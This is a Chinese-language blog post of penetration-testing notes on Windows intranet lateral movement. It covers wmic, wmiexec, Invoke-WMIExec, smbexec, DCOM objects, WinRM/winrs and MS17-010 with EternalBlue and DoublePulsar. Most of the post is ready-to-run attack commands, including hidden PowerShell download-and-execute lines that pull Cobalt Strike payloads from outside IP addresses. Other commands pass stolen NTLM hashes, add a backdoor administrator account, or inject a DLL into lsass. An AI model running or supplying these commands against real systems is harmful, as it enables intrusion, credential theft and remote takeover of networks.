wmic environment where "name='path' and username='<system>'" set
VariableValue="%path%;c:\whoami
查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get
ParentProcessId,commandline,processid,executablepath,name,CreationClassName,Crea
tionDate
终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
安装软件
wmic product get name,version
wmic product list brief

image-20231023171423034

常见错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1.开启防火墙时,允许共享例外
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
2.组策略阻止administraotr远程访问时
错误:
代码 = 0x80070005
说明 = 拒绝访问。
设备 = Win32
3.IP安全策略阻止135时
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
4.禁用winmgmt服务时
错误:
wmic调用cmd
以下命令需要管理员权限
利用powershell上线
1、使用cs生成powershell脚本
2、wmic进行上线,把ps1放大公网,可以使用python 开启http服务提供下载 python-m http.server
9988
3、等待片刻上线
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。
设备 = Win32
5.拒绝wbem目录权限,无法使用wmic的

wmic调用cmd

以下命令需要管理员权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
"cmd.exe /c ipconfig >c:\ip.txt"
列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
c:\programdata\test.bat
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
"cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1
/add
执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create
"powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

image-20231023172045232

image-20231023172030175

利用powershell上线

1、使用cs生成powershell脚本

image-20231023172619087

2、wmic进行上线,把ps1放到公网,可以使用python 开启http服务提供下载 python -m http.server 8989

image-20231023173616913

1
wmic /NODE:10.210.100.11 /user:administrator /password:Admin123 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

image-20231023175455418

3、等待片刻上线

image-20231023174552693

Wmiexec工具

wmiexec是一个即有全交互也有半交互的远程命令执行工具,有python版本的pe版本可运用于多种环境,包括webshell环境、rdp环境、socks环境等

1
2
3
4
5
wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe administrator:Admin123@10.210.100.11 "whoami"
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" #执行命令

image-20231023175142705

利用powershell上线

1、使用账号密码登录进行powershell上线

1
2
wmiexec.exe administrator:Admin123@10.210.100.11 "powershell.exe -nop -w hidden
-c IEX ((new-object net.webclient).downloadstring('http://ip:8989/payload.ps1'))"

image-20231023175425287

2、使用hash上线

cs右键dumphash

image-20231023175608734

aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d

1
2
3
4
5
wmiexec.exe -hashes
aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d
administrator@10.210.100.11 "powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://ip:8989/payload.ps1'))"

image-20231023175927509

image-20231023175954251

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显, 获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行 单条命令模式

1
cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"

使用powershell上线

1
2
3
cscript.exe //nologo wmiexec.vbs /cmd 10.210.100.11 administrator Admin123
"powershell.exe -nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://ip:9988/payload.ps1'))"

Invoke-WMIExec

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下

1
2
Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe"
-verbose

采用无文件落地的方式进行横向

1
2
3
4
shell powershell -exec bypass -c IEX (New-Object
System.Net.Webclient).DownloadString('http://118.178.134.226:9988/Invoke-WMIExec.ps1');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target
192.168.41.148 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -
Command "whoami" -verbose

本地执行

1、导入脚本

1
powershell-import powershell/Invoke-WMIExec.ps1

2、运行上线命令

1
2
3
4
5
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash
570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX
((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -
verbose

Invoke-WMIMethod.ps1

该模块为Powershell内置模块,以下为示例(在被控机器的powershell中执行),可以自由组合命令进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
$User #目标系统用户名
$Password #目标系统密码
$Cred #账号密码整合,导入Credential
Invoke-WMIMethod #远程运行指定程序
#####---------------------------#####
$User = "administrator"
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -
ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe
-nop -w hidden -c IEX ((new-object
net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -
ComputerName "192.168.41.20" -Credential $Cred

14.smb远程执行命令横向移动

SMB介绍

SMB全称是Server Message Block翻译过来是服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器发送SMB命令允许用户访问共享、打开、读取或者是写入文件。

利用条件:开启了445端口

smbexec使用

smbexec为impacket工具中的工具,操作简单,容易被杀,使用时无需先进行IPC连接

1
2
3
4
5
明文传递命令:
smbexec hsyy.com/administrator:123.com@192.168.213.163
hash传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163

使用明文

存在交互,需要远控电脑

1、输入命令

1
smbexec.exe administrator:Admin123@10.210.100.11

image-20231024100117801

使用hash

1
smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d administrator@10.210.100.11

image-20231024100348861

15.DCOM远程执行命令横向移动

DCOM介绍

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件

获取DCOM列表

1
2
3
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

DCOM横向前提

1
2
3
1、需要关闭系统防火墙
2、必须拥有管理员权限
3、在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户

实验

MMC20.Application组件远程执行命令

1、通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址, 然后,它就从远程返回一个COM对象的实例

1
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

2、然后执行如下命令,我们就可以调用”ExecuteShellCommand”方法在远程主机上启动进程

1
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

image-20231024103430187

3、将IP和命令换成上线的命令

1
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.210.100.12"))
1
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))","Minimzed")

分开执行可能会失败,连接起来执行:

1
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.210.100.12")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))","Minimzed")

image-20231024104740185

image-20231024104755414

ShellWindows组件远程执行命令

1
2
3
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-
00A0C90A8F39',"10.210.100.12")).item().Document.Application.ShellExecute("cmd.exe","
/c calc.exe","c:windowssystem32",$null,0) 打开本地计算器

远程上线:

1
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.210.100.12")).item().Document.Application.ShellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))","c:windowssystem32",$null,0)

image-20231024105237487

image-20231024105346183

ShellBrowserWindow远程执行命令

适用于Windows 10和Windows Server 2012 R2等版本的系统。

1
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.210.100.12")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))","c:windowssystem32",$null,0)

image-20231024105725252

调用Excel.Application远程执行命令

目标主机中安装有excel

1、 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例

1
2
3
$com =[activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.41.147"))
$com.DisplayAlerts = $false
$com =[activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0.0.1"))

2、然后执行如下命令,我们就可以调用该对象的”DDEInitiate”方法在远程主机上启动进程

1
$com.DDEInitiate("cmd.exe","/c 参数")

Visio.Application远程执行命令

目标主机中安装有Visio

1
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138")).[0].Document.Application.shellExecute("C:shell.exe")

Outlook.Application远程执行命令

目标主机中安装有Outlook

1
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138")).createObject("Shell.Application").shellExecute("C:shell.exe")

Impacket 中的dcomexec.py

1
2
3
4
5
dcomexec.exe [domain/]username:password@ip //创建一个交互式shell
dcomexec.exe [domain/]username:password@ip command // 执行命令
dcomexec.exe administrator:Admin123@10.210.100.12 hostname
dcomexec.exe administrator:Admin123@10.210.100.12 cmd.exe /c "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))"
dcomexec.exe [domain/]username:@ip -hashes [hash] //hash传递

image-20231024110800584

image-20231024111032185

image-20231024111014630

16.WinRM远程执行命令横向移动

WinRM介绍

WinRM(Windows远程管理)是Microsoft 在Windows中对WS-Management的实现,它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包括WinRM)。 WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作

winrm通过HTTP(5985)或HTTPS SOAP(5986)端口来进行通信

image-20231024111937188

winrs.exe

Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户

1
2
3
4
5
6
7
8
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}

1、执行

1
2
3
winrs -r:http://10.210.100.12:5985 -u:administrator -p:Admin123 "whoami"
远程上线:
winrs -r:http://10.210.100.12:5985 -u:administrator -p:Admin123 cmd.exe /c "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://49.234.20.184:8989/payload.ps1'))"

提示:如果出现

1
2
3
4
Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用:
传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置
TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置
TrustedHosts 的详细信息,请运行以下命令

image-20231024113016297

输入出现 切换到cmd输入

1
winrm set winrm/config/Client @{TrustedHosts="*"}

image-20231024112641757

17.使用系统漏洞ms17010横向移动

Cobalt Strike 生成DLL

1、生成 CS的生成 bin文件

image-20231024114635209

2、使用msf 用 bin文件生成 dll文件

1
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o 123.dll

image-20231024114714201

3、或者直接使用cs生成

image-20231024114738887

原版ms17-010渗透

1、上传ms17-010工具 CS执行下面的命令 (目标似乎只能打win7)

植入后门

1
Eternalblue-2.2.0.exe --TargetIp 10.210.100.xx --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt

image-20231024114403436

1
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 192.168.41.168 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload 123.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60

image-20231103121000097


内网横向移动
http://example.com/2023/11/03/内网横向移动/
作者
r1
发布于
2023年11月3日
许可协议